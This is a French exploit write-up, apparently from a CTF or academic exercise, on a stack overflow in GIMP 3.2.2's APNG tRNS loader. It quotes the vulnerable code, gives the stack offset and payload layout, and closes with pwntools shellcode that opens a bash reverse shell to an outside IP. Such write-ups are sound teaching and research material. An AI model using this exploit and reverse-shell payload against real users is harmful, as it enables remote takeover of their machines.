GIMP 3.2.2 contient un débordement de tampon basé sur la pile dans son chargeur APNG (load_apng_image) lors du traitement du chunk tRNS (transparence). Ce writeup démontre une preuve de concept pour l'exécution de code à distance exploitant cette vulnérabilité.
tRNS d'APNG de GIMP → RCEAuteur : Chloe Xu, Abby Farrell, George Avdella, Austin Chan
Date : 2026-11-03
Cible : GIMP 3.2.2 (Linux x86_64)
CVE : CVE-2026-92183 (7.8 ÉLEVÉ)
CWE : CWE-121 : Débordement de tampon basé sur la pile
Impact : Exécution de code à distance (via un fichier PNG/APNG malveillant)
Avertissement : Ce document est uniquement à des fins éducatives. Les numéros de CVE et de version proviennent d'un exercice académique/CTF contrôlé. Ne l'utilisez pas contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas l'autorisation explicite de tester.
GIMP 3.2.2 contient un débordement de tampon basé sur la pile dans son chargeur APNG (load_apng_image) lors du traitement du chunk tRNS (transparence). La longueur du chunk est acceptée sans validation par rapport au tampon de destination fixe de 256 octets trns[256], ce qui permet à un attaquant d'écraser la pile et de détourner le flux de contrôle.
Le document public existant ne démontre qu'un déni de service (GIMP plante). Ce document étend l'analyse à un exploit complet de reverse shell en :
acTL/fcTL.tRNS malveillant dont la longueur dépasse 256 octets.L'exploit suppose un environnement non durci (ASLR désactivé, NX désactivé, pas de canari de pile) comme décrit dans les diapositives de référence. Nous discutons également de l'importance de ces protections et du comportement de l'exploit lorsqu'elles sont activées.
Un fichier PNG est constitué de chunks :
| Champ | Taille |
|---|---|
| Longueur | 4 octets (big-endian) |
| Type de chunk | 4 octets (ASCII) |
| Données du chunk | Longueur octets |
| CRC | 4 octets |
APNG étend PNG avec des chunks auxiliaires supplémentaires :
acTL (Animation Control) — marque le fichier comme APNG. Doit apparaître avant le premier IDAT.fcTL (Frame Control) — précède les données de chaque image.fdAT (Frame Data) — contient les données d'image (alternative à IDAT pour les images suivantes).Le plugin PNG de GIMP (file-png) bifurque vers load_apng_file lorsqu'il voit un chunk acTL, même si l'extension du fichier est .png.
D'après le diff du correctif :
Version vulnérable (GIMP 3.2.2) :
else if (png_id == id_tRNS)
{
for (gint i = 0; i < chunk.size; i++)
trns[i] = chunk.data[i + 8];
}
Version corrigée (GIMP 3.2.6) :
gint transparent_size = MIN(chunk.size, 256);
for (gint i = 0; i < transparent_size - 8; i++)
trns[i] = chunk.data[i + 8];
Le tampon de destination est déclaré comme suit :
guchar trns[256];
Comme chunk.size est lu directement dans le fichier et n'est pas borné, un chunk tRNS avec size > 256 déborde trns[] sur la pile. Le décalage + 8 indique que chunk.data pointe vers le début du chunk (y compris l'en-tête de 8 octets longueur + type), donc chunk.data[i + 8] lit les octets de données réels.

Lorsqu'un fichier est ouvert, le cœur de GIMP sélectionne le chargeur avant que tout code de plug-in ne s'exécute. file_open_pre_check() appelle gimp_plug_in_manager_file_procedure_find(), qui effectue la correspondance sur l'extension ou les octets magiques. Un fichier .apng est dirigé vers file-apng-load, et un fichier portant la signature PNG est dirigé vers file-png-load. Le cœur exécute la procédure choisie via gimp_plug_in_manager_call_run(), qui lance le plug-in file-png en tant que processus enfant et envoie le nom de la procédure et les arguments via un pipe. Dans l'enfant, load_image() s'exécute toujours en premier et construit la couche PNG de base. apng_load() appelle ensuite load_apng_image() inconditionnellement. png_load() ne l'appelle que si load_image() a vu un chunk png/fcTL. load_apng_image() rouvre le fichier et analyse les chunks lui-même, donc la passe libpng antérieure ne valide rien pour lui. png_load() ignore également sa valeur de retour et signale un succès dans tous les cas.
L'enfant est créé par gimp_spawn_async(), qui sur les systèmes POSIX appelle vfork() puis immédiatement execve() (app/core/gimp-spawn.c:171-199). execve() abandonne les mappings mémoire de l'enfant et charge le binaire file-png et ses bibliothèques depuis zéro. L'enfant ne détient donc ni le tas ni la pile du parent, et sur les systèmes avec ASLR il obtient une nouvelle disposition d'adresses à chaque ouverture d'image. Ce qui survit à l'exec est l'identifiant de processus, les privilèges de l'utilisateur, l'environnement que GIMP transmet, et tout descripteur de fichier non marqué close-on-exec. Ceux-ci incluent les deux extrémités de pipe passées sur la ligne de commande. Les extrémités de pipe du parent sont marquées close-on-exec afin que l'enfant ne les hérite pas. Cela isole la mémoire mais ne sandboxe pas l'enfant. Un enfant compromis peut toujours s'exécuter en tant qu'utilisateur, lire les mêmes fichiers, et envoyer au parent des messages et des données de tuiles forgés via le pipe et la mémoire partagée.
La frame de pile de la fonction vulnérable (simplifiée, compilée avec -O2 -z execstack -fno-stack-protector) :
+------------------+ <- lower addresses
| trns[256] | (offset 0)
+------------------+
| ... |
| saved RBP |
| saved RIP | <- return address
+------------------+ <- higher addresses
L'offset exact depuis le début de trns jusqu'à l'adresse de retour sauvegardée dépend du compilateur et des variables locales environnantes. Dans l'environnement de référence, il est de 312 octets. Nous l'avons déterminé en :
tRNS.RIP au moment du plantage et calculant l'offset avec cyclic_find().Avec -O2, l'itérateur de boucle i est probablement stocké dans un registre, il ne se situe donc pas entre le tampon et l'adresse de retour. L'offset de 312 octets tient compte de trns[256] plus l'alignement et les autres registres sauvegardés.
Les données tRNS sont :
[ 312 bytes 'A' ] [ 8-byte return address ] [ 1410 bytes NOP sled ] [ shellcode ]
trns et atteint l'adresse de retour sauvegardée.0x7ffffffffdeb2 + 0x10 (pointe dans le NOP sled).execve("/bin/bash", ...) pour lancer un reverse shell.Shellcode (généré avec pwntools) :
context.arch = 'amd64'
shellcode = asm(shellcraft.amd64.linux.execve(
'/bin/bash',
['Hello form payload', '-c', 'sh -i >& /dev/tcp/192.0.2.1/9001 0>&1'],
{'PATH': '/usr/bin:/bin'}
))